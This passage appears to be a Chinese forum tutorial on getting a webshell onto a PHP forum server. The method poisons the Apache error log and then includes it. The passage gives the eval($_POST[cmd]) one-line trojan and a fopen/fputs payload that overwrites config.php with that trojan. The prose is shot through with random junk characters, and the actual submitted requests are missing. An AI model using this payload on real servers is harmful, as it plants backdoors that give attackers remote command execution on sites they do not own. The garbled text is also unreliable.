因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
0 y1 B' t# S3 U6 _; J
, ?9 B+ c+ g7 m比如还是这句一句话木马
& u3 [" a2 N! Z- ]3 u: Q" M0 d: {<?eval($_POST[cmd]);?>   
% Y. L7 g/ H, A; ?- W
8 q+ c$ \* \2 \! d6 `9 j% j到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
4 a$ Y! N, F8 d) |3 r3 t4 ?9 J; Xfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
$ D' y' Z  w/ m# i' V
( e( \+ l6 }1 N1 ^! N- q<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
/ k( V: B4 v$ B# {: mfclose($fp);?>   //在config.php里写入一句木马语句 6 Y, A/ k- ^8 s; F. Y7 }- n
/ G5 t" E2 G0 K% s- e( P* D( t" N
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。

我们提交

我们再来包含日志,提交 9 J( x0 `, ^3 t% R# j

OK. $ z5 k) ~: Y9 U9 D! g6 M
http://www.xxx.com/forum/config.php这个就成了我们的webshell

  U9 M. N9 o/ ePS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 - N0 P( V4 n, E( g* V, c) a; W
